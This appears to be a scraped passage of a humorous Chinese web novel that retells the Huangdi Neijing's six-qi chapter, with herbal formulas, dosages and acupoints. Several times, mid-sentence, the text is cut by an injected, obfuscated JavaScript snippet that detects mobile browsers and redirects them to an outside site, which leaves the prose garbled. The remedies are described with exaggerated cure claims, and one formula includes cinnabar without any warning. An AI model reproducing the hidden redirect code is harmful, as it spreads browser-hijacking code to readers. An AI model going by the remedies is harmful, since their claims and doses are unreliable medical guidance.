岐伯继续道：“要是木气不及，就像春天来得晚了点，树长得慢吞吞的。这时候，人们就容易肝气不足，得补补。咱们中医里有个方子，叫‘逍遥散’，那可是疏肝解郁、养血健脾的好东西。配方嘛，就是柴胡、当归、白芍、白术、茯苓、甘草这几味药，每样来点，就像给肝脏开个小灶，让它吃得饱饱的，精神焕发！” 黄帝一听，哈哈大笑：“这逍遥散，听起来就像是给肝脏放个小长假，让它去旅行一番再回来！那火气呢？火气太过和不及又怎么样？” 岐伯也笑了：“火气太过啊，那可不得了，就像夏天的大太阳，烤得人都快熟了。这时候，人们就容易心火旺盛，得降降火。咱们中医里有个穴位，叫‘内关穴’，那可是心包经上的‘灭火器’，轻轻一按，心火就灭了。至于火气不及，就像冬天里的暖阳，不够温暖。这时候，人们就容易心阳不振，得补补心阳。有个方子，叫‘桂枝甘草汤’，简单得很，就是桂枝和甘草两味药，煮一煮，喝下去，心阳就暖洋洋的了。” 黄帝听得津津有味，忍不住插话：“这桂枝甘草汤，听起来就像是给心脏泡个温泉，舒服得很！那土气、金气、水气呢？它们太过和不及又该怎么办？” 岐伯笑道：“陛下您别急，咱们一个一个来。土气太过啊，就像秋天的雨水太多，庄稼都淹了。这时候，人们就容易脾虚湿重，得健脾祛湿。有个穴位，叫‘足三里’，那可是胃经上的‘排水阀’，按一按，湿气就排出去了。土气不及呢，就像土地太干，庄稼长不好。这时候，人们就容易脾胃虚弱，得补补脾胃。有个方子，叫‘四君子汤’，人参、白术、茯苓、甘草，四味药，就像四个好朋友，一起帮脾胃加油打气！” “金气太过啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318231|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，就像秋天的风刮得太猛，树叶都掉光了。这时候，人们就容易肺燥干咳，得润肺止咳。有个穴位，叫‘列缺穴’，那可是肺经上的‘润肺泉’，按一按，肺就滋润了。金气不及呢，就像秋天的阳光不够，树叶不够绿。这时候，人们就容易肺气不足，得补补肺气。有个方子，叫‘玉屏风散’，黄芪、白术、防风，三味药，就像给肺筑起一道屏风，挡住外面的邪气。” “水气太过啊，就像冬天的雪下得太大，路都走不了了。这时候，人们就容易肾阳虚衰，得温补肾阳。有个穴位，叫‘肾俞穴’，那可是肾经上的‘暖宝宝’，按一按，肾就暖和了。水气不及呢，就像冬天的河都干了，鱼都没地方游了。这时候，人们就容易肾阴虚亏，得滋补肾阴。有个方子，叫‘六味地黄丸’，熟地黄、山茱萸、山药、泽泻、茯苓、丹皮，六味药，就像给肾开个小超市，啥营养都有！” 黄帝有一天闲来无事，就对岐伯说：“岐伯啊，我这心里头啊，就像有个小猫爪子在挠，总是想知道那些医学的奥秘。你能不能再给我讲讲，那个太过和不及的事儿啊？” 岐伯一听，嘿，这黄帝还真是个医学迷，于是他就慢悠悠地说：“皇上啊，您这可是问到点子上了。这太过啊，就像是那夏天的暴雨，来得猛，去得快，但威力十足，能把人淋个透心凉。要是身体里的某个器官或者能量太过，那病啊，也就来得特别凶猛，让人措手不及。而那不及呢，就像是春天的细雨，绵绵不断，但力量不大，得慢慢熬。身体要是哪个部分不及，那病啊，就像是个慢性子，磨磨唧唧地来，但也不好对付。” 这章没有结束，请点击下一页继续阅读！ 六元正纪大论第七十一（十八） 有那么一个时刻，叫做“金郁之发”，听起来就像是金秋时节，金子都忍不住要往外冒似的。这时候呢，天空湛蓝如洗，大地明亮得像被擦过一样，风那个吹啊，清新得让人直想深呼吸，而且风还特别有劲儿，仿佛能把所有的烦恼都吹跑。大凉的风就这么浩浩荡荡地来了，草和树都像是被一层薄薄的烟雾笼罩着，空气里弥漫着干燥的气息，雾气时不时就冒起来，好像是大自然在提醒我们：“嘿，哥们儿，秋天到了，该收收心，准备过冬啦！” 这时候，你走在外面，会发现草木都变得枯黄干燥，还时不时能听到“沙沙沙”的声音，那是金元素在唱歌呢！不过，这可不是什么悦耳的音乐，因为它预示着一些不太妙的事情即将发生。 咱们人类啊，这时候就容易犯咳嗽，感觉气儿不顺，像是有什么东西堵在心口和肋骨那儿，连带着小肚子也跟着不舒服。哎呀，这疼起来可真要命，翻个身都困难，喉咙干得像是刚从沙漠里走出来，脸色也不好，整个人看起来就像是被秋天的风给“吹老了”几岁。 再看看大自然，山啊水啊，都变得干枯焦黄，土地硬邦邦的，像是被撒了一层盐巴，这就是“土凝霜卤”啦。这时候，要是再遇到点儿不顺心的事儿，那可真就是“怫乃发也”，意思就是心里憋着的那股火，终于忍不住要爆发了！ 不过呢，古人也不是吃素的，他们早就发现了这些自然现象和人体健康之间的联系，还琢磨出了不少应对之策。比如说，要是感觉喉咙干、咳嗽啥的，别急，咱们有穴位可以按！在古代，有个穴位叫“列缺”，放在现在，咱们就叫它“桡骨茎突上方凹陷处”（别紧张，就是手腕那块儿，大拇指侧边上，轻轻一按，酸酸涨涨的，特别舒服）。多揉揉这个穴位，能帮你润肺止咳，比喝止咳糖浆还管用呢！ 当然啦，除了按摩，还有方剂呢！古代有个方子叫“桑杏汤”，专门对付这种干燥引起的咳嗽。怎么做呢？你得准备桑叶10克（想象一下，就是秋天那满树的金黄叶子），杏仁10克（可不是咱们平时吃的杏仁饼干哦，是中药里的苦杏仁），浙贝母10克（听起来高大上，其实就是一种贝类的壳），沙参15克（听起来像是沙漠里的珍宝），栀子皮6克（就是栀子果的外皮，清热去火的好东西），梨皮30克（没错，就是咱们吃的梨子的皮，润肺止咳小能手）。把这些宝贝放一起，加水煮个半小时，滤掉渣滓，喝那碗热腾腾的汤，保证你喝完之后，喉咙舒舒服服的，咳嗽也跑得远远的！ 说到脉象，这时候的脉象啊，就像是秋天的树叶，轻飘飘的，又细又软，中医管它叫“细脉”。就像是你在秋天捡到的落叶，轻轻一捏，就能感受到那份脆弱。这种脉象告诉你，身体里的气血不够充盈，得赶紧补补了。不过别担心，咱们前面说的桑杏汤，还有按摩列缺穴，都是很好的调理方法。 如果大自然是个调皮的孩子，那么“水郁之发”就像是它突然闹脾气，把一桶冰水直接从天上倒了下来，让整个世界都打了个寒颤！这时候，阳气就像是被吓得躲进了被窝里（阳气乃辟），而阴气呢，则像是得到了命令，嗖嗖嗖地往上窜（阴气暴举），于是，大寒就来了，冷得连江河湖泊都冻得硬邦邦的（川泽严凝），连空气里的水汽都凝结成了霜雪，整个世界一片银装素裹，美得让人直哆嗦！35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318232|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 更神奇的是，如果这寒气太重，天空都会变得黄黄的、黑黑的，像是被谁撒了一把煤灰（黄黑昏翳），这其实是寒气在天地间四处溜达（流行气交），搞得植物们都冻得直不起腰，纷纷“牺牲”（霜杀），连水都冻得开始“显灵”了（水乃见祥）。这时候，人们可就遭殃了，一个个冻得跟冰棍似的，心里头那个冷啊，就像是被冰块堵住了（寒客，心痛），腰啊、背啊，还有那些大关节，都像是被冻僵了一样，动都动不了（腰脽痛，大关节不利，屈伸不便）。更惨的是，有的人还会手脚冰凉，跟僵尸似的（善厥逆），肚子胀得跟气球一样（痞坚，腹满），这都是因为阳气被冻得没法好好工作了（阳光不治），阴气却在那里得意洋洋地堆积着（空积沉阴）。 这时候，如果你抬头看天，可能会看到一片白茫茫的雾气，就像是老天爷在跟你玩捉迷藏，让你看不清前方的路（白埃昏暝）。而这一切的预兆呢，就是天空的颜色会变得有点黑，又带点黄，就像是老照片褪色了一样（色黑微黄），告诉你：“嘿，小家伙，寒气要来了，准备好保暖哦！” 说到治疗，古代中医可是有一套独特的办法。 首先，穴位按摩肯定是少不了的。想象一下，你有个朋友冻得直哆嗦，你可以帮他按按“命门穴”（现代穴位名，位于第二腰椎棘突下凹陷中），这个穴位就像是身体的“小火炉”，按一按，就能让身体暖和起来。还有“足三里”（小腿外侧，犊鼻下3寸），这可是个养生大穴，按一按，不仅能驱寒，还能增强体质呢！ 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 六元正纪大论第七十一（十九） 黄帝突然心血来潮，对着他的御医岐伯问了一个超级有深度的问题：“嘿，岐伯啊，你说这水要是发威了，为啥就会下冰雹下雪呢？土要是一激动，咋就狂风大作了呢？木要是一闹腾，树木花草咋就折了呢？金要是发作，天空咋就变得那么明亮呢？火要是一烧起来，为啥就雾蒙蒙，啥都看不清了呢？这背后都是啥神秘力量在捣鬼啊？” 岐伯一听，嘿，这问题有意思，于是他摸了摸下巴上的小胡子，一脸高深莫测地说：“陛下啊，这事儿啊，得从咱们身体的‘气’说起。你知道吗，万物都有个‘气’，这个‘气’啊，它有多有少，发作起来也有轻有重。轻的时候，它就按自己的套路来，重的时候，它连带着下面的‘气’一起捣乱。就像咱们人体里的穴位，每个穴位都有自己的小脾气，你惹它一下，它就给你点颜色瞧瞧。” “比如说啊，咱们有个穴位叫‘涌泉’，就在脚底板上，它要是‘发’了，那就是肾气足了，人走路都带风。但要是它‘发’得太过，那可就得小心了，说不定你得去找个按摩师，好好揉揉它，让它消消气。” 黄帝一听，哈哈大笑：“岐伯啊，你这比喻，真是绝了！那咱继续说说，这五行和咱们身体里的气，到底是怎么互相影响的呢？” 岐伯点了点头：“陛下，您看啊，水对应的是肾，肾要是‘发’了，就像冬天来了，河水结冰，天上就下雪下冰雹。肾要是太弱了，人就显得没精神，跟冰雕似的。所以啊，咱们得吃点补肾的方子，比如说‘六味地黄丸’。这方子啊，得用熟地黄八钱（换算成克就是24克），山萸肉四钱（12克），山药四钱（12克），泽泻三钱（9克），茯苓三钱（9克），丹皮三钱（9克）。把这些药材混在一起，用水煎服，连吃几天，肾气就足了，人也就精神了。” 黄帝一听，眼睛一亮：“嘿，这方子听起来不错啊！那土对应的是啥呢？” 岐伯说：“土对应的是脾，脾要是‘发’了，就像大地上的风暴，狂风大作。脾要是太弱了，人就没胃口，吃啥都不香。所以啊，咱们得吃点健脾的方子，比如说‘四君子汤’。这方子啊，得用人参三钱（9克），白术三钱（9克），茯苓三钱（9克），炙甘草二钱（6克）。也是用水煎服，连吃几天，脾胃就强健了，吃饭也就香了。” 黄帝一听，更高兴了：“岐伯啊，你这方子真是绝了！那木对应的是啥呢？” 岐伯说：“木对应的是肝，肝要是‘发’了，就像树木被大风刮折了。肝要是太弱了，人就显得胆小怕事，跟个小猫似的。所以啊，咱们得吃点养肝的方子，比如说‘逍遥散’。这方子啊，得用柴胡三钱（9克），当归三钱（9克），白芍三钱（9克），白术三钱（9克），茯苓三钱（9克），炙甘草一钱半（4.5克）。也是用水煎服，连吃几天，肝气就顺畅了，人也就不那么胆小了。” 黄帝一听，笑得前仰后合：“岐伯啊，你这方子，简直就是人生导师啊！那金对应的是啥呢？” 岐伯说：“金对应的是肺，肺要是‘发’了，就像天空变得明亮起来。肺要是太弱了，人就显得气短乏力，跟个小老头似的。所以啊，咱们得吃点润肺的方子，比如说‘百合固金汤’。这方子啊，得用百合三钱（9克），生地黄二钱（ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318233|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 6克），熟地黄二钱（6克），麦冬二钱（6克），当归二钱（6克），白芍二钱（6克），贝母二钱（6克），桔梗二钱（6克），玄参二钱（6克），甘草一钱（3克）。也是用水煎服，连吃几天，肺气就足了，人也就显得精神多了。” 黄帝一听，乐开了花：“岐伯啊，你这方子，简直就是人生大补丸啊！那火对应的是啥呢？” 岐伯说：“火对应的是心，心要是‘发’了，就像天上起了雾，啥都看不清了。心要是太弱了，人就显得心神不宁，跟个小兔子似的。所以啊，咱们得吃点养心的方子，比如说‘天王补心丹’。这方子啊，得用人参三钱（9克），玄参三钱（9克），丹参二钱（6克），茯苓二钱（6克），五味子二钱（6克），远志二钱（6克），桔梗二钱（6克），当归二钱（6克），天冬二钱（6克），麦冬二钱（6克），柏子仁二钱（6克），酸枣仁二钱（6克），生地黄四钱（12克），朱砂一钱（3克，研末冲服）。也是用水煎服，连吃几天，心气就足了，人也就不那么心神不宁了。” 黄帝一听，笑得合不拢嘴：“岐伯啊，你这方子，简直就是人生百科全书啊！朕真是受益匪浅啊！” 岐伯一听，也笑了：“陛下啊，这都是咱们老祖宗留下来的智慧啊！咱们得好好传承下去，让更多的人受益啊！” 黄帝又问：“岐伯啊，你说这五气（咱们可以理解为自然界的五种气候或能量）有时候不按套路出牌，该来的时候不来，不该来的时候偏来，这是咋回事儿呢？” 本小章还未完，请点击下一页继续阅读后面精彩内容！ 六元正纪大论第七十一（二十） 黄帝某天他又扯开嗓子，对着岐伯老师发问了：“岐伯，快跟我说说，那五运六气在自然界是怎么表现的？还有啊，六气的正常变化规律，以及它们要是闹脾气了会变成啥样？我这心里跟猫爪子挠似的，痒痒得紧呢！” 岐伯一听，心里暗笑，这黄帝啊，真是个求知欲旺盛的老顽童。于是，他慢悠悠地开口了：“哎呀，黄帝，您这问题可真是包罗万象啊！要说这六气——风、寒、暑、湿、燥、火，它们可都有自己的小脾气呢。有时候规规矩矩地按照季节来，该吹风吹风，该下雪下雪，这就是‘正纪’。但有时候吧，它们也会调皮捣蛋，一会儿化个妆，变成疾病来骚扰咱们；一会儿又变个魔术，让气候变得不正常，这就是‘化’和‘变’了。更有趣的是，它们之间还会互相较劲，谁赢了谁就多占点地盘，这叫‘胜’；输了的那个呢，不甘心，过段时间又卷土重来，这叫‘复’。还有啊，它们在不同的季节，对咱们身体的影响也不一样，有时候是帮手，有时候就成了捣蛋鬼，让人生病，这就叫‘用’和‘病’了。您看，这六气是不是比您后宫的妃子们还难琢磨？” 黄帝一听，差点没笑喷出来，心想：这岐伯，真是把枯燥的理论讲得比相声还逗！他赶紧正色道：“岐伯，您就别逗我了，快详细说说，这六气具体是怎么捣蛋的，我好提前做准备，免得被它们玩得团团转。” 岐伯见状，也收敛了笑容，开始一本正经地讲解起来：“比如说吧，春天本该是风和日丽，万物复苏的时候，但如果风气太过，吹得人们头晕脑胀，那就是风气‘胜’了。这时候，咱们就得小心，别让风邪钻了空子，引起什么头痛啊、感冒啊之类的。到了夏天，本该是热而不燥，但要是暑气太重，烤得人们汗流浃背，那就是暑气‘化’过头了。这时候，记得多喝水，吃点西瓜，不然小心变成烤乳猪哦！哈哈，开个玩笑。” 黄帝一听，笑得前仰后合，心想：这岐伯真是个宝藏男孩，连讲医学都能这么逗趣！他连忙追问：“那其他季节呢？还有，要是六气真的捣蛋起来，咱们怎么办？” 岐伯继续道：“秋天嘛，本该是凉爽干燥，但如果燥气太重，人们就容易皮肤干燥、喉咙痒，这时候得多吃点梨啊、百合啊，润润肺。冬天呢，本该是寒冷而干燥，但要是湿气太重，冻得人们关节都疼了，那就是湿气‘变’了。这时候，得注意保暖，再泡点艾叶水泡脚，去去湿气。至于对付这些捣蛋鬼，咱们中医有的是办法，比如针灸、拔罐、吃中药，就像是给身体请了个私人保镖，专治各种不服！” 黄帝听得津津有味，突然灵光一闪，问：“岐伯，您刚才提到的中药，能不能给我举个例子，讲讲是怎么配制的？” 岐伯微微一笑，说：“当然可以。比如说，有个经典的方子叫‘桂枝汤’，是治疗风寒感冒的。它里面有桂枝15克，像是个热情的小太阳，能温暖身体；白芍15克，像个温柔的姑娘，能缓急止痛，还能防止桂枝太过；生姜15克，就像个暖宝宝，散寒解表；大枣12枚，补充能量，增强免疫力；甘草10克，就像个和事佬，调和诸药。这五味药放在一起，就像是组成一个超级英雄联盟，共同对抗风寒这个邪恶势力！” 黄帝这天心情特别好，对岐伯说：“岐伯啊，您那套关于气候和人体健康的理论，我听着真是入迷了！能不能再给我详细讲讲，让我一次听个够？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318234|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岐伯一听，眼睛一亮，笑道：“哈哈，黄帝，您这可是给我出了个大难题啊！不过既然您这么有兴趣，那我就豁出去了，咱们今天就来一场‘气象学与人体健康’的大讲堂！” 黄帝一听，顿时来了精神，催促道：“快讲快讲！我都等不及了！” 岐伯清了清嗓子，开始了他的讲解：“咱们先说说这‘气’啊，可不是生气的那个气，而是自然界的那股子神秘力量。这股力量一到，咱们的身体和心情那可就得跟着变了！” “比如说，这厥阴之气一到啊，那就是个和平使者，让人感觉心里头那个舒坦，就像是大街上突然出现了个免费发糖的小丑，大家都乐呵呵的。” 黄帝一听，忍不住笑了起来：“哈哈，这厥阴之气还挺会做人的嘛！” 岐伯继续道：“可不是嘛！再看看这少阴之气，它一来，那就是个暖宝宝，让人感觉暖洋洋的，就像是冬天里的一把火，烧得人心头那个热乎！” 黄帝点头表示赞同：“嗯，这少阴之气确实挺贴心的。” 岐伯接着讲：“然后啊，这太阴之气一到，那就得小心了，它就像个爱搞恶作剧的小鬼，带来的是潮湿闷热的天气，让人感觉像是被扔进了个大蒸笼里，浑身不自在。” 黄帝一听，忍不住皱了皱眉：“这太阴之气可真够调皮的。” 岐伯笑道：“调皮归调皮，但这也是自然规律嘛！接下来咱们说说这少阳之气，它一来，那就是个热情如火的小伙子，带来的是炎炎夏日，让人感觉像是被太阳公公特别关照了一样，热得直冒汗。” 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 六元正纪大论第七十一（二十一） 岐伯清了清嗓子，又接着说：“咱们再说厥阴这位老兄，它一到啊，那就是风起云涌的节奏！就像你早上起床，突然发现发型乱了，没错，那就是厥阴风木在捣鬼。它开始是带来生机勃勃的风，但到了末尾，就变成了让人瑟瑟发抖的凉风，是不是感觉像是从春天直接跳到了秋天？这就是‘厥阴所至为风生，终为肃’嘛，简单说，就是风来风去，最后给你来个冷颤作为结束！” 接下来，少阴同学登场了：“少阴这家伙，那可是热情如火的小辣椒！它一来，哇塞，整个世界都热起来了，感觉自己像是在烤箱里一样。不过呢，它也有温柔的一面，中间会偶尔给你来点小寒流，让你觉得‘咦，好像没那么热了？’这就是‘少阴所至为热生，中为寒’，就像是吃火锅的时候，突然来了一碟冰镇西瓜，冰火两重天的感觉，爽不爽？” 然后是太阴同学，它可是个湿润大师：“太阴一到，那就是雨季的开始啊！空气中弥漫着泥土和花草的香气，还有……湿漉漉的感觉。它先是带来湿润的气息，最后干脆就是大雨倾盆，就像是天空开了个大水阀，‘太阴所至为湿生，终为注雨’。想想看，你走在街上，突然下起了倾盆大雨，没带伞的你，是不是感觉自己瞬间变成了落汤鸡？这就是太阴的杰作啦！” 少阳同学是个热情洋溢的小伙子：“少阳一来，那就是火力的全开！整个世界都像是被点燃了，热得你只想找个冰窟窿钻进去。不过呢，这火可不是一直烧，最后它会变成那种闷热潮湿的蒸笼天气，让人喘不过气来，‘少阳所至为火生，终为蒸溽’。就像是你在健身房跑完步，出来一看，外面是个大蒸笼，那滋味，啧啧，酸爽得很！” 阳明同学则是干燥高手：“阳明一到，那就是干燥模式的开启！空气干燥得能拧出水来，皮肤、嘴唇都干巴巴的。但别担心，它最后会给你来点凉爽，就像是沙漠里的绿洲，‘阳明所至为燥生，终为凉’。想象一下，你在沙漠里走了好久好久，突然看到一片绿洲，那凉爽的风吹过，是不是觉得人生又充满了希望？” 太阳同学，那可是寒冷界的扛把子：“太阳一到，那就是冬天的节奏啊！整个世界都被冰雪覆盖，冷得你只想躲在被窝里不出来。不过呢，它中间也会给你点温暖，就像是冬天里的一把火，‘太阳所至为寒生，中为温’。就像是你在雪地里打雪仗，突然有人给你递了一杯热可可，那感觉，简直就是冬日里的小确幸！” 岐伯悠哉游哉地又说：“哎，你们知道吗？自然界的五行之气啊，跟咱们身体上的那些小秘密可是紧密相连的！比如说吧，那厥阴之气一到，嘿，万物就开始长毛发了，就像春天里的小草，嗖嗖地往外冒，咱们可以叫它‘毛化’大师！这厥阴啊，你要是对应到咱们身体上的穴位，就想象成是‘太冲穴’吧，那可是疏肝解郁的小能手，一按下去，保证你心情舒畅，毛发都跟着精神抖擞起来！” 接着呢，岐伯又说了：“少阴之气一来，嘿，那就更厉害了，直接让鸟儿们的羽毛变得光鲜亮丽，咱们就叫它‘翮化’高手吧！少阴嘛，对应到咱们穴位上，就像是‘涌泉穴’，那可是肾经的起点哦，每天泡泡脚，按按这个穴，肾气足了，说不定你也能长出翅膀来，当然啦，是心灵上的翅膀，飞得更高更远！” 然后，岐伯话锋一转：“太阴之气一到，万物就开始脱壳露肉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318235|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，比如那些小动物们，冬天厚厚的皮毛一换，变成了光溜溜的小可爱，咱们就叫它‘倮化’小能手吧！太阴对应的穴位嘛，咱们就说是‘中脘穴’吧，这可是脾胃的大管家，吃得香，消化好，身体自然光溜溜，健康又美丽！” 接下来，岐伯笑得眼睛眯成了一条缝：“少阳之气一来，万物就开始长羽毛啦，轻盈飘逸，就像天鹅湖里的白天鹅，咱们就叫它‘羽化’仙子吧！少阳嘛，对应到穴位上，就像是‘外关穴’，那可是疏通少阳经气的关键，按一按，感觉整个人都轻盈起来，说不定还能跳芭蕾呢！” 老爷子喝了一口茶，继续讲：“阳明之气一到，万物就开始长甲壳啦，螃蟹、乌龟都出来了，咱们就叫它‘介化’大将军吧！阳明对应的穴位，咱们就说是‘合谷穴’吧，这可是阳明经的开关，按一按，力气大增，说不定能跟乌龟赛跑呢！” 这时岐伯笑得差点岔气：“太阳之气一来，万物就开始长鳞片啦，鱼儿们在水里游来游去，咱们就叫它‘鳞化’龙王吧！太阳对应的穴位嘛，咱们就说是‘至阳穴’吧，那可是阳气最旺的地方，按一按，感觉全身充满了正能量，游泳都能游出浪里白条的感觉！” 说到这里，你们是不是已经笑得肚子疼了？但别急，咱们还没完呢！岐伯老爷子说的这些啊，其实不仅仅是穴位那么简单，它还涉及到中医的五行学说，讲的是自然界的规律与人体的对应关系。想象一下，如果你是一个中医小能手，看着一个人走来，就能根据他的毛发、皮肤状态，甚至走路姿势，判断出他哪个脏腑可能有问题，是不是很酷？ 这章没有结束，请点击下一页继续阅读！ 六元正纪大论第七十一（二十二） 岐伯接着说道：“厥阴这家伙一来，嘿，那就热闹了，咱们的身体就像是被调皮的风给撩拨了一样，到处‘挠动’，感觉就像是有人在背后给你挠痒痒，但你又找不到那个‘捣蛋鬼’。而且啊，它还喜欢玩‘迎随’游戏，一会儿来这儿，一会儿去那儿，让人捉摸不透。” 接着，少阴来了，它一来，那可不得了，简直就是自带“高光滤镜”加“火焰特效”！让人感觉眼前一亮，仿佛整个世界都明亮了起来，不过这可不是什么好事哦，因为“高明焰”往往意味着身体有点“上火”了，像是吃了太多辣椒后的那种感觉。而“曛”呢，就像是黄昏时分，天边那抹淡淡的晚霞，虽然美，但也预示着一天的结束，放在身体上，可能就是精力有点衰退的意思。 然后，轮到太阴上场了。太阴一来，整个世界都暗了下来，就像是被一块大大的黑布遮住了，沉阴沉阴的，还伴随着“白埃”——想象一下，雾霾天里，你戴着口罩，眼前白茫茫一片，啥也看不清。这时候，你的心情可能也会跟着“晦暝”，就是心情低落，感觉啥都不顺。不过别担心，这只是暂时的，咱们的身体可是有自我调节能力的！ 接下来，少阳来了，它就像是早晨的第一缕阳光，让人眼前一亮，充满了希望。“光显”嘛，就是光明磊落，整个人都精神了起来。而“彤云”呢，就是天边那红彤彤的云彩，预示着好天气要来了。不过，“曛”又一次出现了，这里可以理解为少阳也有那么一点点“反复无常”，就像天气，早上阳光明媚，下午可能就转阴了。 阳明一来，那可真是“烟埃滚滚”，就像是沙尘暴来袭，空气中弥漫着细小的颗粒，让人呼吸都不顺畅。而“霜”呢，就是冷得让人直打哆嗦，感觉像是被冬天提前拥抱了一样。阳明还带来了“劲切”和“凄鸣”，就像是寒风凛冽中，树枝被吹得呼呼作响，让人听了心里都发毛。不过，这也提醒我们，该添衣保暖啦！ 最后，太阳来了，它就像是战场上的大将军，刚固无比，坚不可摧。它的到来，让一切都变得“坚芒”——就像是被锋利的剑刃所包围，充满了力量感。而“立”呢，就是站稳脚跟，屹立不倒，象征着身体的强健和稳定。 其实岐伯是在告诉我们，自然界的六气（风、热、湿、火、燥、寒）进入人体后，会带来不同的影响，咱们得学会观察身体的反应，及时调整，保持健康。 岐伯捋了捋长胡子，慢悠悠地又开口说：““厥阴”这家伙，它一来，咱们肚子就开始“紧急集合”了，感觉就像吃了过期外卖，里急后重，急着找厕所却又排不出来，那叫一个尴尬又难受啊！想象一下，你在重要会议上，突然肚子开始“抗议”，那场面，啧啧，简直比电影里还精彩！ 接下来是“少阴”，这家伙一来，咱们的皮肤就开始“起义”了，不是长个小包包（疡胗），就是全身发烫，感觉自己能烤熟一只鸡。这时候，你千万别想着去泡温泉或者晒太阳，不然你可能会变成“烤乳猪”哦！ 然后是“太阴”，它一到，咱们的身体就像被“积水潭”占领了，肚子胀得跟怀孕似的，吃东西不消化，打嗝都带着水声，仿佛肚子里藏了个小型游泳池。这时候，你得小心，别一个不小心，真把自己当成“海王”了！ 说到“少阳”，这家伙就比较调皮了，它一来，你就得准备好纸巾了，为啥？因为它会让你不停地打喷嚏，还会让你吐得昏天黑地，就像是喝了假酒一样。更惨的是，它还可能在你脸上、身上留下几个“战斗痕迹”（疮疡），让你瞬间从帅哥美女变成“痘神”。 再来说说“阳明”，这家伙一出现，你的身体就变得“轻飘飘”了，像是被注入了氢气，但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318236|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这可不是好事哦，因为这种“浮虚”感其实是身体虚弱的表现，感觉就像是灵魂出窍，飘在空中，随时可能“飞升”似的。 然后，“太阳”来了，这家伙可不客气，直接让你的关节“罢工”，弯腰、伸腿都变得异常艰难，感觉自己一夜之间变成了“钢铁侠”，只不过这盔甲是生锈的，动起来“嘎吱嘎吱”响，让人哭笑不得。 黄帝听完，哈哈大笑：“岐伯兄，你这解释真是绝了，既生动又有趣！” 不过，咱们笑归笑，学归学，这些其实都是中医理论中的“六淫”致病特点，每种“淫”对应着不同的身体反应，是古人对自然界气候变化与人体健康关系的深刻洞察。 当然了，中医讲究的是“治未病”，提前预防总比事后补救强。比如，感觉“厥阴”要来了，咱就少吃点生冷，多穿点衣服，保护好肚子；遇到“少阴”，多喝水，吃点清淡的，别让身体“上火”；至于“太阴”，那就得注意饮食卫生，别暴饮暴食，给肠胃减减压。 